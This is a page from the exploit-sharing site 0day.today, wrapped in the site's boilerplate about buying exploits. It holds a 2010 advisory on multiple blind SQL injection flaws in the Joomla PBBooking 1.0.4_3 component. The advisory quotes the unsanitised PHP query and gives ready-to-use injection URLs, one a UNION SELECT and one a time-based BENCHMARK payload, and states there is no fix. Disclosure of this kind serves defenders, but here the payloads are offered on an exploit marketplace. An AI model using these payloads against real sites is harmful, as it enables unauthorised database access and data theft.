0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla Component PBBooking 1.0.4_3 Multiple Blind SQL Injection
=============================================================== Joomla Component PBBooking 1.0.4_3 Multiple Blind SQL Injection =============================================================== PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection Name PBBooking Vendor http://sourceforge.net/projects/pbbooking/ Versions Affected 1.0.4_3 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-07-29 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ A simple, easy to use, calendaring and booking component for Joomla. PBBooking offers live calendar integration both for reading availability and for writing appointments back to your calendar. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in SQL queries. III. ANALYSIS _____________ Summary: A) Multiple Blind SQL Injection A) Multiple Blind SQL Injection _______________________________ The parameters timeslot and id passed to controller.php when the task option is set respectively to save and validate, are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Affected code for id parameter: function validate() { $pendingid = JRequest::getVar('id'); $email = JRequest::getVar('email'); $sql = "select * from #__pbbooking_pending where id = ".$pendingid; Maybe, the injection caused by the id parameter may be carried to a normal SQL injection, but because of some errors in calendar.php, currently it is not possible. Are them errors present only on my webserver? If no, try the following injection: index.php?option=com_pbbooking&task=validate&email=ola@ola.com&id=-1 UNION SELECT 1,'ola@ola.com',3,4,5,6,7,8,9 IV. SAMPLE CODE _______________ A) Multiple Blind SQL Injection http://site/path/index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) V. FIX ______ No fix. # 0day.today [2024-06-16] #